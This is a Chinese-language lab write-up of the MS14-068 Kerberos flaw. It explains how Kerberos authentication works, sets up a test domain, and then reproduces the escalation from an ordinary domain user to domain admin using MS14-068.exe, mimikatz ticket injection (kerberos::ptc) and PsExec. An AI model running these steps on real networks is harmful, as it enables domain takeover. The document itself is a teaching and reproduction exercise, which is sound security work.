漏洞说明
该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
漏洞原理
Kerberos在古希腊神话中是指:一只有三个头的狗。这条狗守护在地狱之门外,防止活人闯入。Kerberos协议以此命名,因为协议的重要组成部分也是三个:client, server, KDC(密钥分发中心). 要了解Kerberos协议的工作过程,先了解不含KDC的简单相互身份验证过程。
- 简单的相互身份验证
A向B发送信息时,会附加一个Authenticator(认证码,该数据结构=身份信息+时间戳)来进行彼此的身份验证。开始验证之前,A和B已经有一个有且只有二人知晓的密钥。下面是工作流程:
-
A用密钥加密了【信息+Authenticator(身份信息+时间戳)】,将其发给B
-
B用密钥解密了A发来的Authenticator,并将其中包含的时间戳记录下来。B将这个时间戳与自己的当前时间进行比较,如果这个时间差大于某个值(windows下默认是5分钟),B认为信息不是A发来的,拒绝后续验证。如果这个时间差小于设定值,B要检查在过去5分钟内,是否存在含有更早时间戳的Authenticator,如果没有,B认为信息确实是A发来了。至此,完成了B对A的验证。
-
B用密钥加密Athenticator里的时间戳,然后将其发回给A,以证明自己确实是B.
-
A收到后,解密出时间戳,经过自己的对比,确认了对方确实是B. 至此,完成了A对B的验证
- 引入session key和密钥分发中心KDC
实现简单相互身份验证有一个前提,即,A和B必须有一个有且只有二人知晓的密钥。在2中,我们要设计一个密钥分发机制来完善1的流程。这里引入key distribution center, KDC密钥分发中心。当A尝试向B发信息时,KDC会分别向A、B发放一个加密过的session key,这相当于1中那个有且只有AB双方知晓的密钥(注意,在传输过程中,session key要再包裹一层密钥进行加密,下面将具体说到)。
- 引入secret key(密钥的加密)
session key在传输过程中需要加密。因此我们又引入了一个加密密钥,叫做secret key(或者叫long term key,在用户账号验证中,这个key是衍生自账号密码). 这个key是KDC和A(或B)之间有且只有双方知晓的一个密钥。KDC与A之间进行传输时,是由仅有A与KDC双方知晓的key加密。KDC与B之间进行传输时,是由仅有B与KDC双方知晓的key加密。
- 引入session ticket(密钥的识别)
实际应用中,一个KDC对应着许许多多的客户端和服务端,每个客户端与服务端之间都有一个共享的session key(密钥)。为了区别这些session key,我们引入session ticket的概念,它是一种内嵌了session key和客户端身份信息(原文authorization data for the client)的数据结构。相当于session key与客户端的1对1表。
下面是具体工作过程:
-
客户端向KDC提交客户端身份信息(这个传输过程使用客户端secretkey进行加密),要求与服务端进行相互身份验证。
-
KDC生成一个仅有客户端与服务端知晓的session key。
-
KDC将session key附加上客户端身份信息形成了session ticket,并用服务端secret key加密session ticke后传给服务端。服务端收到了KDC回复,使用服务端secret key解密,获得了有且只有客户端和服务端二者知晓的密钥session key。
-
KDC将【session key+服务端secret key加密后的session ticket】用客户端secret key加密后,传给客户端。客户端收到了KDC的回复,用客户端secret key解密出【session key+服务端secret key加密后的session ticket】。解密出的两部分内容分开地放在一个安全的缓存中(一块隔离的内存空间,而不是硬盘上)。当客户端再次向服务端发送信息时,客户端就可以直接向服务端发送【要发送的信息+服务端secret key加密后的session ticket+用session key加密的Authenticator(身份信息+时间戳)】
-
服务端收到了来自客户端的以上凭据,先用服务端secret key将session ticket解密,取得内嵌在session ticket里的session key,用其将Authenticator解密,得到了客户端发送消息的时间戳。之后按照1中简单相互身份验证过程中的步骤b, c, d继续进行。
PS:
-
session ticket可以被重复使用。客户端从KDC获得session ticket后,会将其放在安全缓存中(一块隔离的内存空间,而不是硬盘上)。每当客户端想要访问指定服务端,客户端就出示相应的session ticket。
-
session ticket有失效期,通常是8小时,可以在相应的Kerberos策略中设置。
-
服务端不需要存储session ticket。KDC只负责发送信息,不验证信息是否发放到正确的对象。因为即使发错了对象,对方没有secret key(有且只有KDC和正确对象知晓的密钥),是解不开信息的。循序渐进了解Kerberos认证工作原理
服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。
漏洞利用的前提
-
域控没有打MS14-068的补丁
-
攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
实验环境
-
域控制器(DC) windows 2008 R2 st13.com 192.168.10.146
-
域内机器 windows 7 192.168.10.129
-
Ms14-068.exe
-
PSexec
环境准备
准备虚拟机
- Windows server 2008 R2 数据中心版
- Windows 7
在Windows server 2008 R2上创建AD域控制器
- 将这台计算机的名字修改为server1,IP地址修改为符合自己需要的,如图所示。
- 在运行框输入
dcpromo
,回车
- 点击下一步,下一步,出现下面的界面
- 按下图勾选后进行下一步
- 按照下图操作后点击下一步
- 选择功能林级别
- 安装域服务器会自动安装DNS,直接下一步就行
- 出现警告,点击是即可
- 直接默认即可,选择下一步,输入活动目录的备份还原密码,再次点击下一步,最后等待重启即可
- 重启后,出现域标识
-
进入适配器选项后,查看网卡配置信息,发现DNS又变成了默认的`127.0.0.1`,我们需要把他改成自己的IP地址,不然下面的计算机加域的时候会找不到域控制器
-
然后点击 开始 -> 管理工具 -> DNS
- 打开服务器管理器,添加添加角色
- 连续点击两个下一步
- 连续点击两个下一步,点击安装
添加Windows 7 (DCServer)到域中
- 依次点击 开始 -> 控制面板 -> 系统 -> 用户名后面的更改设置
- 然后在弹出的认证输入框内输入ADServer 的用户名和密码,等待片刻
- 在ADServer服务器上查看刚刚加入到域的计算机,默认加入到域里面的计算机都会在Computers里面
- 至此, 域控制器准备就绪
漏洞复现
- 直接使用域用户访问域控的C盘
- 查看本机用户信息,记录用户名与SID号
whoami /all
- 进入MS14-068目录,使用以下命令:
MS14-068.exe -u @ -p -s -d
- 打开mimikatz,注入票据
mimikatz # kerberos::purge //清空当前凭证
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将上一步生成的票据注入到内存中
- 再次列出域控C盘下的目录
- 使用PSTools目录下的PsExec.exe获取shell
- 添加域管理员